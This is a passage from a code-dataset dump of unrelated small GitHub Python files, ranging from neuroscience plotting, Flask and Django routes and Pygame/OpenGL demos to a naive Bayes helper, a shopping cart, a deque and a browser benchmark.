label='ER')\nax1.fill_between(brate_post[:, 0],\n brate_post_meanER - n_SD*brate_post_stdER,\n brate_post_meanER + n_SD*brate_post_stdER,\n color=custom_colors['blue'], alpha=0.5, lw=0)\nax1.plot(brate_post[:, 0], np.ones_like(brate_post_meanER)*np.mean(brate_post_meanER[int(args.alpha/binSize):int((3*args.alpha + args.durex)/binSize)]), ':', color=\"black\", lw=0.5)\nax1.set_ylabel('Postsyn. ER [Hz]', color=custom_colors['blue'])\nax1.set_ylim([0, 6])\nax1.set_yticks([0, 5])\nax1.spines['top'].set_visible(False)\nax1.set_xticks([0]+tics)\nremove_xticklabel(ax1)\n\nax1_tw = ax1.twinx()\nax1_tw.plot(brate_post[:, 0], 100*brate_post_meanBP, color=custom_colors['red'], lw=1)\nax1_tw.fill_between(brate_post[:, 0],\n 100*brate_post_meanBP - n_SD*100*brate_post_stdBP,\n 100*brate_post_meanBP + n_SD*100*brate_post_stdBP,\n color=custom_colors['red'], alpha=0.5, lw=0)\nax1_tw.plot(er_trace[:, 0], 100*mean_BR_trace/mean_ER_trace, '--', color=custom_colors['red'], lw=1, label=r'$\\overline{P}$')\nax1_tw.fill_between(er_trace[:, 0],\n 100*mean_BP_trace - n_SD*100*std_BP_trace,\n 100*mean_BP_trace + n_SD*100*std_BP_trace,\n color=custom_colors['red'], alpha=0.5, lw=0)\nax1_tw.set_yticks([0, 50])\nax1_tw.set_ylim([0, 60])\nax1_tw.legend(loc='upper right', bbox_to_anchor=(1, 1.1))\nax1_tw.set_ylabel('Postsyn. BP [%]', color=custom_colors['red'])\nax1_tw.spines['top'].set_visible(False)\n\nax2 = fig.add_subplot(312, sharex=ax1)\nax2.plot(wsum[:, 0], 100*(wsum_mean - wsum_mean[0])/wsum[0, 1], color='black', lw=1.5, label='Weight change')\nax2.fill_between(wsum[:, 0], 100*(wsum_mean - wsum_mean[0])/wsum[0, 1] - 100*n_SD*wsum_std/wsum[0, 1],\n 100*(wsum_mean - wsum_mean[0])/wsum[0, 1] + 100*n_SD*wsum_std/wsum[0, 1],\n color='black', alpha=0.5, lw=0)\nax2.plot(wsum[:, 0], 100*(brate_post_meanBP - mean_BP_trace), '-.', lw=1,\n color=custom_colors['red'], label=r'Postsyn. BP$ - \\overline{P}$')\nax2.fill_between(wsum[:, 0],\n 100*(brate_post_meanBP - mean_BP_trace) - n_SD*100*np.sqrt(brate_post_stdBP**2 + std_BP_trace**2),\n 100*(brate_post_meanBP - mean_BP_trace) + n_SD*100*np.sqrt(brate_post_stdBP**2 + std_BP_trace**2),\n color=custom_colors['red'], alpha=0.5, lw=0)\nax2.plot(wsum[:, 0], np.zeros_like(wsum[:, 0]), ':', color=\"black\", lw=0.5)\nax2.set_ylabel('[%]')\nax2.legend(loc='upper right', bbox_to_anchor=(1, 1.05))\nax2.spines['top'].set_visible(False)\nax2.spines['right'].set_visible(False)\nremove_xticklabel(ax2)\n\nax3 = fig.add_subplot(313)\nax3.plot(brate_pre[:, 0], brate_pre_meanER, color=custom_colors['blue'], lw=1, label='ER')\nax3.fill_between(brate_pre[:, 0],\n brate_pre_meanER - n_SD*brate_pre_stdER,\n brate_pre_meanER + n_SD*brate_pre_stdER,\n color=custom_colors['blue'], alpha=0.5, lw=0)\nax3.set_ylim([0, 6])\nax3.set_yticks([0, 5])\nax3.set_xlabel('Time [s]')\nax3.set_ylabel('Presyn. ER [Hz]', color=custom_colors['blue'])\nax3.set_xticks([0]+tics)\nax3.spines['top'].set_visible(False)\n\nax3_tw = ax3.twinx()\nax3_tw.set_yticks([0, 50])\nax3_tw.set_ylim([0, 60])\nax3_tw.plot(brate_pre[:, 0], 100*brate_pre_meanBP, color=custom_colors['red'], lw=1)\nax3_tw.fill_between(brate_pre[:, 0],\n 100*brate_pre_meanBP - n_SD*100*brate_pre_stdBP,\n 100*brate_pre_meanBP + n_SD*100*brate_pre_stdBP,\n color=custom_colors['red'], alpha=0.5, lw=0)\nax3_tw.set_ylabel('Presyn. BP [%]', color=custom_colors['red'])\nax3_tw.spines['top'].set_visible(False)\n\nplt.tight_layout()\nplt.savefig(args.outfile_name)\nplt.close()\n","repo_name":"apayeur/spikingburstprop","sub_path":"analysis/learning-rule/plot_all.py","file_name":"plot_all.py","file_ext":"py","file_size_in_byte":7932,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"78"} +{"seq_id":"32886833765","text":"import json\n\nfrom flask import Flask, jsonify\nfrom google.protobuf.json_format import MessageToJson\n\napp = Flask(__name__)\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n\n\n@app.route('/')\ndef get_html():\n return app.send_static_file('graph.html')\n\n\n@app.route('/pipeline')\ndef get_pipeline():\n if not app.bess.is_connected():\n app.bess.disconnect()\n app.bess.connect(grpc_url=app.bess.peer)\n modules = {}\n for m_pb in app.bess.list_modules().modules:\n # NOTE: MessageToJson will convert 64-bit integers to strings!\n info_pb = app.bess.get_module_info(m_pb.name)\n modules[m_pb.name] = json.loads(\n MessageToJson(info_pb, including_default_value_fields=True))\n return jsonify(modules)\n","repo_name":"NetSys/bess","sub_path":"bessctl/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":294,"dataset":"github-code","pt":"78"} +{"seq_id":"11057091028","text":"from django.urls import path\n\nfrom . import views\n\napp_name = 'wallets'\nurlpatterns = [\n path('', views.index, name='index'),\n path('wallets', views.wallets, name='wallets'),\n path('wallets/create', views.wallet_create, name='wallet-create'),\n path('wallets/<int:wallet_id>/update', views.wallet_update, name='wallet-update'),\n path('wallets/<int:wallet_id>/delete', views.wallet_delete, name='wallet-delete'),\n\n path('transactions', views.transactions, name='transactions'),\n path('transactions/create', views.transaction_create, name='transaction-create'),\n path('transactions/create-<slug:type>', views.transaction_create, name='transaction-create-by-type'),\n path('transactions/<int:transaction_id>/update', views.transaction_update, name='transaction-update'),\n path('transactions/<int:transaction_id>/delete', views.transaction_delete, name='transaction-delete'),\n]","repo_name":"zualex/pfinance","sub_path":"wallets/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26497930437","text":"import pygame\nfrom OpenGL.GL import *\nfrom OpenGL.GLU import *\nimport random\n\n# Define the dimensions of the limited 3D space\nspace_width = 800\nspace_height = 600\nspace_depth = 400\n\n# Define the dimensions of the rectangle prism\nrect_width = 50\nrect_height = 50\nrect_depth = 50\n\n# Define the number of possible positions to consider\nnum_positions = 100\n\n# Generate all possible positions for the rectangle prism\npositions = []\nfor i in range(num_positions):\n x = random.randint(0, space_width - rect_width)\n y = random.randint(0, space_height - rect_height)\n z = random.randint(0, space_depth - rect_depth)\n positions.append((x, y, z))\n\n# Evaluate each position to find the best one\nbest_position = None\nbest_score = 0\nfor position in positions:\n score = 0\n for other_position in positions:\n if other_position != position:\n dx = abs(position[0] - other_position[0])\n dy = abs(position[1] - other_position[1])\n dz = abs(position[2] - other_position[2])\n if dx < rect_width and dy < rect_height and dz < rect_depth:\n score += 1\n if score > best_score:\n best_position = position\n best_score = score\n\n# Initialize Pygame and OpenGL\npygame.init()\ndisplay = (800, 600)\npygame.display.set_mode(display, pygame.DOUBLEBUF | pygame.OPENGL)\n\ngluPerspective(45, (display[0] / display[1]), 0.1, 50.0)\nglTranslatef(-space_width/2, -space_height/2, -space_depth/2)\n\n# Draw the rectangle prism in the best position\nrect_color = (1.0, 0.0, 0.0)\nrect_x, rect_y, rect_z = best_position\nglPushMatrix()\nglTranslatef(rect_x, rect_y, rect_z)\nglBegin(GL_QUADS)\nglColor3f(*rect_color)\nglVertex3f(0, 0, 0)\nglVertex3f(rect_width, 0, 0)\nglVertex3f(rect_width, rect_height, 0)\nglVertex3f(0, rect_height, 0)\nglVertex3f(0, 0, rect_depth)\nglVertex3f(rect_width, 0, rect_depth)\nglVertex3f(rect_width, rect_height, rect_depth)\nglVertex3f(0, rect_height, rect_depth)\nglVertex3f(0, 0, 0)\nglVertex3f(0, rect_height, 0)\nglVertex3f(0, rect_height, rect_depth)\nglVertex3f(0, 0, rect_depth)\nglVertex3f(rect_width, 0, 0)\nglVertex3f(rect_width, rect_height, 0)\nglVertex3f(rect_width, rect_height, rect_depth)\nglVertex3f(rect_width, 0, rect_depth)\nglVertex3f(0, 0, 0)\nglVertex3f(0, 0, rect_depth)\nglVertex3f(rect_width, 0, rect_depth)\nglVertex3f(rect_width, 0, 0)\nglEnd()\nglPopMatrix() \n\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\n # Draw the rectangle prism in the best position\n glPushMatrix()\n glTranslatef(rect_x, rect_y, rect_z)\n glBegin(GL_QUADS)\n glColor3f(*rect_color)\n glVertex3f(0, 0, 0)\n glVertex3f(rect_width, 0, 0)\n glVertex3f(rect_width, rect_height, 0)\n glVertex3f(0, rect_height, 0)\n glVertex3f(0, 0, rect_depth)\n glVertex3f(rect_width, 0, rect_depth)\n glVertex3f(rect_width, rect_height, rect_depth)\n glVertex3f(0, rect_height, rect_depth)\n glVertex3f(0, 0, 0)\n glVertex3f(0, rect_height, 0)\n glVertex3f(0, rect_height, rect_depth)\n glVertex3f(0, 0, rect_depth)\n glVertex3f(rect_width, 0, 0)\n glVertex3f(rect_width, rect_height, 0)\n glVertex3f(rect_width, rect_height, rect_depth)\n glVertex3f(rect_width, 0, rect_depth)\n glVertex3f(0, 0, 0)\n glVertex3f(0, 0, rect_depth)\n glVertex3f(rect_width, 0, rect_depth)\n glVertex3f(rect_width, 0, 0)\n glVertex3f(rect_width, rect_height, 0)\n glVertex3f(0, rect_height, 0)\n glVertex3f(0, rect_height, rect_depth)\n glVertex3f(rect_width, rect_height, rect_depth)\n glVertex3f(rect_width, 0, rect_depth)\n glEnd()\n glPopMatrix()\n\n pygame.display.flip()\n pygame.time.wait(10)\n","repo_name":"ZhangYichang235/Hackathon-B.A.D","sub_path":"3dFitAI.py","file_name":"3dFitAI.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19714465977","text":"from numpy import *\n\n\n# 词表到向量的转换函数\ndef loadDataSet():\n postingList = [['my', 'dog', 'has', 'flea', 'problems', 'help', 'please'],\n ['maybe', 'not', 'take', 'him', 'to', 'dog', 'park', 'stupid'],\n ['my', 'dalmation', 'is', 'so', 'cute', 'I', 'love', 'him'],\n ['stop', 'posting', 'stupid', 'worthless', 'garbage'],\n ['mr', 'licks', 'ate', 'my', 'steak', 'how', 'to', 'stop', 'him'],\n ['quit', 'buying', 'worthless', 'dog', 'food', 'stupid']]\n classVec = [0, 1, 0, 1, 0, 1] # 1 is abusive 滥用的; 骂人的, 0 not\n return postingList, classVec\n\n\n# 创建一个包含在所有文档中出现的不重复词的列表\ndef createVocabList(dataSet):\n vocabSet = set([])\n for document in dataSet:\n vocabSet = vocabSet | set(document) # | 表示求两个集合的并集 set是无序的\n return list(vocabSet)\n\n\n# 输入参数为词汇表及某个文档\n# 输出的是文档向量\ndef setOfWords2Vec(vocabList, inputSet):\n returnVec = [0] * len(vocabList)\n for word in inputSet:\n if word in vocabList:\n returnVec[vocabList.index(word)] = 1\n else:\n print(\"the word:%s is not in my Vocabulary!\" % word)\n return returnVec\n","repo_name":"cczufish/DataDigest","sub_path":"Machine Learning in Action/003bayes/bayes.py","file_name":"bayes.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34918060842","text":"from decimal import getcontext,Decimal\n\nclass Cart:\n\n shopping_cart = []\n\n #constructor of cart which takes ingredientStore class instance as input\n def __init__(self,ingredientStoreInstance):\n self.ingredient_store_instance = ingredientStoreInstance\n\n #add items in the shopping cart, default value of quantity is 1\n def add(self,item,qty=1):\n print(\"item inside cart \", item)\n Cart.shopping_cart.append([item,qty])\n\n # perform total value for the cart based on the item,quantity and discount\n def get_total(self,discounts=None):\n total_cost = Decimal(0)\n getcontext().prec = 3\n if discounts is not None:\n for product,quantity in Cart.shopping_cart:\n print(\"product inside get total \", product)\n print(\"quantity inside get total \", quantity)\n for discount_instance in discounts:\n if (product in discount_instance.get_item() ):\n print(\"discount_instance.get_quantity()\", discount_instance.get_quantity())\n buy_quantity = discount_instance.calculate_line_total(quantity);\n print(\"buy_quantity\", buy_quantity)\n total_cost += Decimal(buy_quantity) * (self.ingredient_store_instance.get_ingredient_price(product))\n print(\"total_cost: \",total_cost)\n print(\"ingredient_store_instance.get_ingredient_price(product) \", self.ingredient_store_instance.get_ingredient_price(product))\n return total_cost\n else:\n for product,quantity in Cart.shopping_cart:\n total_cost += Decimal(quantity) * (self.ingredient_store_instance.get_ingredient_price(product))\n return total_cost\n\n\n\n","repo_name":"KhushbuAgr/Ingredients","sub_path":"cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27173596497","text":"import sys\r\nfrom collections import deque\r\n\r\nclass Deque:\r\n def __init__(self):\r\n self.items = deque()\r\n \r\n def push_front(self, x):\r\n self.items.appendleft(x)\r\n \r\n def push_back(self, x):\r\n self.items.append(x)\r\n \r\n def pop_front(self):\r\n if self.items:\r\n return self.items.popleft()\r\n else:\r\n return -1\r\n \r\n def pop_back(self):\r\n if self.items:\r\n return self.items.pop()\r\n else:\r\n return -1\r\n \r\n def size(self):\r\n return len(self.items)\r\n \r\n def empty(self):\r\n return int(not self.items)\r\n \r\n def front(self):\r\n if self.items:\r\n return self.items[0]\r\n else:\r\n return -1\r\n \r\n def back(self):\r\n if self.items:\r\n return self.items[-1]\r\n else:\r\n return -1\r\n\r\nN = int(sys.stdin.readline().strip())\r\ndeque = Deque()\r\n\r\nfor _ in range(N):\r\n command = sys.stdin.readline().strip().split()\r\n if command[0] == \"push_front\":\r\n deque.push_front(int(command[1]))\r\n elif command[0] == \"push_back\":\r\n deque.push_back(int(command[1]))\r\n elif command[0] == \"pop_front\":\r\n print(deque.pop_front())\r\n elif command[0] == \"pop_back\":\r\n print(deque.pop_back())\r\n elif command[0] == \"size\":\r\n print(deque.size())\r\n elif command[0] == \"empty\":\r\n print(deque.empty())\r\n elif command[0] == \"front\":\r\n print(deque.front())\r\n elif command[0] == \"back\":\r\n print(deque.back())","repo_name":"myeongwang/ALGORITHM","sub_path":"백준/Silver/10866. 덱/덱.py","file_name":"덱.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"73800939452","text":"from pathlib import Path\n\nfrom diagrams import Diagram, Edge, Cluster\nfrom diagrams.aws.compute import EC2\nfrom diagrams.aws.database import RDS, Dynamodb\nfrom diagrams.aws.security import Cognito\nfrom diagrams.aws.network import APIGateway\n\n\nBASE_DIR = Path(__file__).resolve().parent\n\n\nwith Diagram(\"Fictional Motor Co\\nDiagram 2\",\n filename=str(BASE_DIR / \"architecture2\"),\n show=False, direction=\"BT\", outformat=\"png\",\n graph_attr=dict(labelloc=\"t\", curvestyles=\"ortho\")):\n\n gw = APIGateway(\"API GW\")\n gw << Cognito(\"Auth\")\n\n with Cluster(\"\", graph_attr=dict(pencolor=\"#FFFFFF\", bgcolor=None)):\n\n with Cluster(\"Core\", direction=\"BT\"):\n backend = EC2(\"Core backend\")\n\n with Cluster(\"Operational DB cluster\", direction=\"LR\") as db:\n units = [\n RDS(\"master RW\"), RDS(\"read\\nreplica 1\"), RDS(\"read\\nreplica 2\")\n ]\n units << Edge() >> backend << Edge(label=\"/models\\n/sales\") << gw\n\n with Cluster(\"SalesWindow µs\", direction=\"BT\"):\n be2 = EC2(\"BE\")\n dynamo = Dynamodb(\"Sales\\nTimeSeries\")\n dynamo << Edge() >> be2 << Edge(label=\"/model/<pk>/sales\") << gw\n\n # backend - Edge(label=\"materialize\", style=\"dashed\") - be2\n","repo_name":"hectorcanto/fictional-demo-api","sub_path":"docs/diagrams/iter2.py","file_name":"iter2.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1010462824","text":"# Get the first word\nword = input(\"Please enter a word: \")\n\n# Repeat until user enters a dot\nwhile word != \".\":\n new_word = \"\"\n # If word starts with a vowel just add yay to the end\n if word[0] in \"aeiou\":\n new_word = word + \"yay\"\n # If word does not start with a vowel\n else:\n # Get the consonants at the beginning\n consonants = \"\"\n index = 0\n # Keep iterating until finds a vowel\n while index < len(word) and word[index] not in \"aeiou\":\n consonants += word[index]\n index += 1\n\n # New word is formed by letter after consonants + consonants at the beginning + ay\n new_word = word[index:] + consonants + \"ay\"\n\n print (\"New word is: \", new_word)\n word = input(\"Please enter another or . to end: \")\n\n","repo_name":"LucasRizzo/OOSD-2019-2020","sub_path":"OOP/Week3/Lab9_9.py","file_name":"Lab9_9.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40957172771","text":"import urwid\n\nclass View(urwid.Frame):\n def __init__(self, app, body, header=None, footer=None):\n self.app = app\n self._header = header\n self._body = body\n self._footer = footer\n\n super().__init__(\n header=self._header,\n body=self._body,\n footer=self._footer,\n )\n","repo_name":"olof/enpda","sub_path":"enpda/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13035650519","text":"import logging\n\ndef logger_factory(name: str, logging_level: int) -> logging.Logger:\n logger = logging.getLogger(name)\n logger.setLevel(logging_level)\n handler = logging.StreamHandler()\n handler.setFormatter(logging.Formatter('%(asctime)-15s %(levelname)-8s %(message)s'))\n logger.addHandler(handler)\n\n return logger","repo_name":"lukaschoebel/BERT","sub_path":"scripts/logger_factory.py","file_name":"logger_factory.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3081187224","text":"import numpy as np\nimport torch\nfrom torch.autograd import Variable\nfrom nltk.translate.bleu_score import sentence_bleu, SmoothingFunction\n\nfrom lib.utils import *\nfrom lib.parser import args\n\ndef greedy_decode(model, src, src_mask, max_len, start_symbol):\n memory = model.encode(src, src_mask)\n ys = torch.ones(1, 1).fill_(start_symbol).type_as(src.data)\n for i in range(max_len-1):\n out = model.decode(memory, src_mask, Variable(ys), Variable(subsequent_mask(ys.size(1)).type_as(src.data)))\n prob = model.generator(out[:, -1])\n _, next_word = torch.max(prob, dim = 1)\n next_word = next_word.data[0]\n ys = torch.cat([ys, torch.ones(1, 1).type_as(src.data).fill_(next_word)], dim=1)\n return ys\n\ndef evaluate(data, model):\n model.eval()\n t_score1 = 0\n t_score2 = 0\n t_score3 = 0\n t_score4 = 0\n t = len(data.test_en)\n with open(\"result.txt\", 'w', encoding='utf-8') as f:\n with torch.no_grad():\n for i in range(len(data.test_en)):\n reference_en = [data.en_index_dict[w] for w in data.test_en_id[i]]\n en_sent = \" \".join(reference_en)\n reference_cn = [data.cn_index_dict[w] for w in data.test_cn_id[i]]\n cn_sent = \" \".join(reference_cn)\n src = torch.from_numpy(np.array(data.test_en_id[i])).long().to(args.device)\n src = src.unsqueeze(0)\n src_mask = (src != 0).unsqueeze(-2)\n out = greedy_decode(model, src, src_mask, max_len = args.max_length, start_symbol = data.cn_word_dict[\"BOS\"])\n candidate = []\n for j in range(1, out.size(1)):\n sym = data.cn_index_dict[out[0, j].item()]\n if sym != 'EOS':\n candidate.append(sym)\n else:\n break\n # print(\"\\n\" + en_sent)\n # print(\"\".join(cn_sent))\n # print(\"MyTranslation: %s\" % \" \".join(candidate))\n f.write(\"第{}条句子\".format(i + 1))\n f.write(\"\\n\")\n f.write(\"待翻译:\" + en_sent)\n f.write(\"\\n\")\n f.write(\"参考翻译:\" + cn_sent)\n f.write(\"\\n\")\n f.write(\"候选翻译:\" + (\" \".join(candidate)))\n f.write(\"\\n\")\n # reference_cn = [\"BOS\", \"Going\", \"to\", \"play\", \"basketball\", \"this\", \"afternoon\" , \"?\", \"EOS\"]\n # candidate = [\"Going\", \"to\", \"play\", \"basketball\", \"in\", \"the\", \"afternoon\" , \"?\",]\n smoothie = SmoothingFunction().method1\n score1 = round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (1., 0., 0., 0.), smoothing_function=smoothie),4)\n score2 = round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (1./2, 1./2, 0., 0.), smoothing_function=smoothie),4)\n score3 = round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (1./3, 1./3, 1./3, 0.), smoothing_function=smoothie),4)\n score4 = round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (1./4, 1./4, 1./4, 1./4), smoothing_function=smoothie),4)\n # score1 = round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (1., 0., 0., 0.), smoothing_function=smoothie),4)\n # score2 = round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (0., 1., 0., 0.), smoothing_function=smoothie),4)\n # score3 = round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (0., 0., 1., 0.), smoothing_function=smoothie),4)\n # score4 = round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (0., 0., 0., 1.), smoothing_function=smoothie),4)\n # print([reference_cn[1:-1]])\n # print(candidate)\n # print(score1)\n # print(score2)\n # print(score3)\n # print(score4)\n # print(round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (1., 0., 0., 0.), smoothing_function=smoothie),4))\n # print(round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (1./2, 1./2, 0., 0.), smoothing_function=smoothie),4))\n # print(round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (1./3, 1./3, 1./3, 0.), smoothing_function=smoothie),4))\n # print(round(sentence_bleu([reference_cn[1:-1]], candidate, weights = (1./4, 1./4, 1./4, 1./4), smoothing_function=smoothie),4))\n f.write(\" bleu1 score : \" + str(score1))\n f.write(\" bleu2 score : \" + str(score2))\n f.write(\" bleu3 score : \" + str(score3))\n f.write(\" bleu4 score : \" + str(score4))\n f.write(\"\\n\")\n f.write(\"\\n\")\n t_score1 += score1\n t_score2 += score2\n t_score3 += score3\n t_score4 += score4\n if (i + 1) % 100 == 0:\n print(\"测试样本: {},\\t bleu1: {}\\t bleu2: {}\\t bleu3: {}\\t bleu4: {}\".format(i + 1, score1, score2, score3, score4))\n print(\"\\t {} sentences has been translated!\".format(i + 1))\n print(\"Bleu1: {:.3f}\".format(t_score1 / t))\n print(\"Bleu2: {:.3f}\".format(t_score2 / t))\n print(\"Bleu3: {:.3f}\".format(t_score3 / t))\n print(\"Bleu4: {:.3f}\".format(t_score4 / t)) ","repo_name":"VingtDylan/DL_Homework","sub_path":"Project4/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":5420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"8974950263","text":"# initialise lists\ncontents = []\ncommon = []\nitems = []\n\n# read input file\nwith open('adventofcode2022/day3/day3input.txt', 'r') as input:\n for line in input:\n package = line.strip()\n first_half, second_half = package[:len(package)//2], package[len(package)//2:]\n contents.append([first_half,second_half])\n\n# find items in common between compartments\nfor rucksack in contents:\n common.append([value for value in rucksack[0] if value in rucksack[1]])\n\n# reduce common items for uniqueness\nfor c in common:\n items.append(''.join(set(c)))\n\n# define priorities\npriorities = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ')\n\n# find sum of priorities from common items\ntotal = 0\nfor item in items:\n total = total + priorities.index(item) + 1\n\n# print answer\nprint(total)","repo_name":"junefish/adventofcode","sub_path":"adventofcode2022/day3/day3problem1.py","file_name":"day3problem1.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37021928670","text":"# zoom-macro-keyboard.py\n#\n# cable to laptop\n# |\n# | [usb] |\n# | Bat USB |- neopixel power\n# | Gnd 0 |\n# switch A -| 4 ~1 |\n# switch B -| 3 2 |- neopixel data\n# | Rst 3V |\n\n\nimport board\nimport digitalio\nfrom adafruit_hid.keyboard import Keyboard\nfrom adafruit_hid.keycode import Keycode\nimport time\nimport adafruit_dotstar\nimport neopixel\n\n\nled = adafruit_dotstar.DotStar(board.APA102_SCK, board.APA102_MOSI, 1)\nled.brightness = 0.010\n\n\nbutton_pin_a = digitalio.DigitalInOut(board.A4)\nbutton_pin_a.direction = digitalio.Direction.INPUT\nbutton_pin_a.pull = digitalio.Pull.UP\n\nbutton_pin_b = digitalio.DigitalInOut(board.A3)\nbutton_pin_b.direction = digitalio.Direction.INPUT\nbutton_pin_b.pull = digitalio.Pull.UP\n\n\nkbd = Keyboard()\n\n# aaaaaaaaaaaaaaaa\n\ncolor_state_map = {False: (255, 0, 0), True: (0, 255, 0)}\n\ndebounce_delay = .050\n\nlast_debounce_time_a = 0\nlast_button_state_a = True\nbutton_state_a = True\ntoggle_state_a = False # state means \"audio is active\"\n\nlast_debounce_time_b = 0\nlast_button_state_b = True\nbutton_state_b = True\ntoggle_state_b = False # state means \"video is active\"\n\npixels = neopixel.NeoPixel(board.D2, 2) # Feather wiring!\npixels[0] = (255, 0, 0) # initial state is False, so show red\npixels[1] = (255, 0, 0) # initial state is False, so show red\n\n\nwhile True:\n reading_a = button_pin_a.value\n if reading_a != last_button_state_a:\n last_debounce_time_a = time.monotonic()\n\n if time.monotonic() - last_debounce_time_a > debounce_delay:\n if reading_a != button_state_a:\n button_state_a = reading_a\n if button_state_a == False: # falling edge\n # shortcut to toggle zoom audio in macos\n # kbd.press(Keycode.SHIFT, Keycode.COMMAND, Keycode.A)\n kbd.press(Keycode.A)\n kbd.release_all()\n toggle_state_a = not toggle_state_a\n pixels[0] = color_state_map[toggle_state_a]\n\n # if button_state_a == True: # rising edge\n\n reading_b = button_pin_b.value\n if reading_b != last_button_state_b:\n last_debounce_time_b = time.monotonic()\n\n if time.monotonic() - last_debounce_time_b > debounce_delay:\n if reading_b != button_state_b:\n button_state_b = reading_b\n\n if button_state_b == False: # falling edge\n # shortcut to toggle zoom video in macos\n # kbd.press(Keycode.SHIFT, Keycode.COMMAND, Keycode.V)\n kbd.press(Keycode.B)\n kbd.release_all()\n toggle_state_b = not toggle_state_b\n pixels[1] = color_state_map[toggle_state_b]\n\n # if button_state_b == True: # rising edge\n\n\n last_button_state_a = reading_a\n last_button_state_b = reading_b\n\n","repo_name":"alanbernstein/circuitpython-projects","sub_path":"zoom-macro-board.py","file_name":"zoom-macro-board.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26912981299","text":"from telemetry import multi_page_benchmark\nfrom telemetry import util\n\ndef _Mean(l):\n return float(sum(l)) / len(l) if len(l) > 0 else 0.0\n\nclass Kraken(multi_page_benchmark.MultiPageBenchmark):\n def MeasurePage(self, _, tab, results):\n js_is_done = \"\"\"\ndocument.title.indexOf(\"Results\") != -1 && document.readyState == \"complete\"\n\"\"\"\n def _IsDone():\n return bool(tab.runtime.Evaluate(js_is_done))\n util.WaitFor(_IsDone, 500, poll_interval=5)\n\n js_get_results = \"\"\"\nvar formElement = document.getElementsByTagName(\"input\")[0];\ndecodeURIComponent(formElement.value.split(\"?\")[1]);\n\"\"\"\n result_dict = eval(tab.runtime.Evaluate(js_get_results))\n total = 0\n for key in result_dict:\n if key == 'v':\n continue\n results.Add(key, 'ms', result_dict[key], data_type='unimportant')\n total += _Mean(result_dict[key])\n results.Add('Total', 'ms', total)\n","repo_name":"youtube/h5vcc","sub_path":"external/chromium/tools/perf/perf_tools/kraken.py","file_name":"kraken.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"78"} +{"seq_id":"17780347842","text":"import numpy as np\nimport pandas as pd\n\n\ndef get_cells_expressing_genes(table_path, expression_threshold, gene_names):\n if isinstance(gene_names, str):\n gene_names = [gene_names]\n if not isinstance(gene_names, list):\n raise ValueError(\"Gene names must be a str or a list of strings\")\n\n table = pd.read_csv(table_path, sep='\\t')\n label_ids = table['label_id']\n\n columns = table.columns\n unmatched = set(gene_names) - set(columns)\n if len(unmatched) > 0:\n raise RuntimeError(\"Could not find gene names %s in table %s\" % (\", \".join(unmatched),\n table_path))\n\n # find logical and of columns expressing the genes\n expressing = np.logical_and.reduce(tuple(table[name] > expression_threshold\n for name in gene_names))\n # get ids of columns expressing all genes\n label_ids = label_ids[expressing].values\n return label_ids\n","repo_name":"mobie/platybrowser-project","sub_path":"mmpb/analysis/expression.py","file_name":"expression.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"34191139446","text":"import pygame\r\n\r\nclass player(pygame.sprite.Sprite):\r\n\r\n def __init__(self, posicion):\r\n self.sheet = pygame.image.load('images/sprites/takumi.png')\r\n self.sheet.set_clip(pygame.Rect(97, 4, 29, 55))\r\n self.image = self.sheet.subsurface(self.sheet.get_clip())\r\n self.rect = self.image.get_rect()\r\n self.rect.topleft = posicion\r\n self.frame = 0\r\n self.left_states ={0: (7,116,30,52), 1:(38,116,32,53), 2:(71,116,32,53), 3:(104,116,30,53), 